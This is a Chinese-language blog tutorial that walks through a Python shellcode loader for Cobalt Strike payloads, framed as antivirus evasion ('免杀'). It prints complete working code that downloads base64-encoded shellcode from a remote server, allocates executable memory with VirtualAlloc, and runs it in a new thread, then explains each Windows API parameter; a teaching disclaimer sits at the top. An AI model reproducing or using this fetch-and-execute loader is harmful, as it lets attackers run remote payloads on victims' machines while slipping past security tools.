CS免杀-Shellcode Loader原理(python)

一位苦于信息安全的萌新小白帽

本实验仅用于信息防御教学，切勿用于它用途

公众号：XG小刚

shellcode和loader

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最近在学习cs免杀，由于比较菜只懂python语言，就先了解py是如何实现加载shellcode写入内存的。

shellcode是一段用于利用软件漏洞而执行的代码

shellcode loader是用来运行此代码的加载器

shellcode比作子弹的话，loader就是把枪，两者缺一不可

枪和子弹在一起才有威胁性肯定不让过安检啊
当只有loader这边枪时，没子弹构不成威胁，所以可能会绕过免杀
当只有shellcode时，只有子弹没有枪，也可能会绕过免杀

上面就是分离免杀的大致原理,将loader上传到主机，用loader加载shellcode

shellcode

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我们在用cs生成payload时，会生成一段特定编程语言的代码（以python为例）

里面一长串\xfc样式的16进制代码，这就是子弹shellcode

但光有子弹不行，所以我们需要一把枪loader才能让他发挥作用。

loader加载器

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这里找了一个网上的python内存加载器 环境：python2.7

本文主要写的也是关于该加载器的实现原理，和调用参数的分析

import ctypes
import requests
import base64

scode = requests.get("http://192.168.1.1/123.txt")
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
                                          
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
                                     
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

ctypes库

python的ctypes模块是内建，用来调用系统动态链接库函数的模块

使用ctypes库可以很方便地调用C语言的动态链接库，并可以向其传递参数。

import ctypes
import requests
import base64

读取shellcode

我是将shellcode生成后，使用base64编码，放在了服务器123.txt文件上

由于后面操作是将代码写入内存，所以需要将代码解码并转为字节类型

scode = requests.get("http://192.168.1.1/123.txt")
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))

设置返回类型

我们需要用VirtualAlloc函数来申请内存，返回类型必须和系统位数相同

想在64位系统上运行，必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64，否则默认的是 32 位

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

申请内存

调用VirtualAlloc函数，来申请一块动态内存区域。

VirtualAlloc函数原型和参数如下：

LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect     #该内存的初始保护属性
};

申请一块内存可读可写可执行

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

ctypes.c_int(0)	是NULL，系统将会决定分配内存区域的位置，并且按64KB向上取整
ctypes.c_int(len(shellcode))	以字节为单位分配或者保留多大区域
ctypes.c_int(0x3000)	是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)类型的合并
ctypes.c_int(0x40)	是权限为PAGE_EXECUTE_READWRITE 该区域可以执行代码，应用程序可以读写该区域。

具体参考百度百科：https://baike.baidu.com/item/VirtualAlloc/1606859?fr=aladdin

将shellcode载入内存

调用RtlMoveMemory函数，此函数从指定内存中复制内容至另一内存里。

RtlMoveMemory函数原型和参数如下:

RtlMoveMemory(Destination,Source,Length);
Destination ：指向移动目的地址的指针。
Source ：指向要复制的内存地址的指针。
Length ：指定要复制的字节数。

从指定内存地址将内容复制到我们申请的内存中去，shellcode字节多大就复制多大

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

创建进程

调用CreateThread将在主线程的基础上创建一个新线程

CreateThread函数原型和参数如下：

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize,       #置初始栈的大小，以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
LPVOID lpParameter,          #向线程函数传递的参数
DWORD dwCreationFlags,       #线程创建属性
LPDWORD lpThreadId           #保存新线程的id
)

创建一个线程从shellcode放置位置开始执行

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

lpThreadAttributes	为NULL使用默认安全性
dwStackSize	为0，默认将使用与调用该函数的线程相同的栈空间大小
lpStartAddress	为ctypes.c_uint64(ptr)，定位到申请的内存所在的位置
lpParameter	不需传递参数时为NULL
dwCreationFlags	属性为0，表示创建后立即激活
lpThreadId	为ctypes.pointer(ctypes.c_int(0))不想返回线程ID,设置值为NULL

具体参考百度百科：https://baike.baidu.com/item/CreateThread/8222652?fr=aladdin

等待线程结束

调用WaitForSingleObject函数用来检测线程的状态

WaitForSingleObject函数原型和参数如下：

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds  #定时时间间隔
);

 等待创建的线程运行结束

ctypes.windll.kernel32.WaitForSingleObject(
                                           ctypes.c_int(handle),
                                           ctypes.c_int(-1))

这里两个参数，一个是创建的线程，一个是等待时间

当线程退出时会给出一个信号，函数收到后会结束程序。当时间设置为0或超过等待时间，程序也会结束，所以线程也会跟着结束。

正常的话我们创建的线程是需要一直运行的，所以将时间设为负数，等待时间将成为无限等待，程序就不会结束。

具体参考百度百科：https://baike.baidu.com/item/WaitForSingleObject/3534838?fr=aladdin

总结

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上面loader大致原理就是申请一块内存，将代码字节存入该内存，然后开始运行该内存储存的程序，并让该程序一直运行下去。

本人比较菜，有啥理解错误，请大佬告知。

至于免杀等后续文章，介绍几种免杀的思路。